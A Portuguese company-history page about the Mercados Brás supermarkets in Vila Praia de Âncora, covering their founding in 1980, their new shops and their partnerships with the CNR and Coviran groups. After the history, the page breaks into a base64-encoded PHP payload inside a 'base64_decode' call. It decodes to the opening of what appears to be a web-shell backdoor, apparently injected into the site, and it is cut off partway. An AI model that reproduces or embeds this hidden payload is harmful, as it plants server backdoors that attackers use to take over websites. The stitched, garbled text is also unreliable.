Os Mercados Brás foram fundados no ano 1980 em Vila Praia de Âncora pelo atual Sócio-gerente, José Brás e sua esposa, Irene Brás, com o objetivo de desenvolver um negócio no ramo do comércio a retalho de bens alimentares e não alimentares. A empresa iniciou a sua atividade com uma pequena mercearia de 25m2.

O aumento do volume de negócio deu início ao processo de expansão.
Em 1986 a loja passou para um novo espaço de venda com cerca de 80m2, no mesmo local.
Em 1988 iniciou-se a exploração de uma segunda loja com 100m2, no lugar de Vilarinho.
Em 1993 foi adquirido um novo espaço no centro de Vila Praia de Âncora, com cerca de 150m2, que passou a ser a loja 2, a qual, foi ampliada para a sua atual área de venda de 320m2.

Os Mercados Brás, em 1996, associaram-se ao Grupo CNR, parceria que esteve ativa até 2007, ano em que as instalações da loja 1 mudaram para a Rua 5 de Outubro, uma das principais de Vila Praia de Âncora, dando à empresa uma maior visibilidade comercial.

Mais recentemente, em 2010, os Mercados Brás associaram-se ao Grupo Coviran Portugal S.A., que lhes permitiu uma diferenciação com produtos de marca própria e consolidar a sua imagem de supermercados de referência em Vila Praia de Âncora.

".base64_decode("PD9waHANCi8vU3RhcnRpbmcgY2FsbHMNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319DQplcnJvcl9yZXBvcnRpbmcoNSk7DQpAaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsNCmRlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7DQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2l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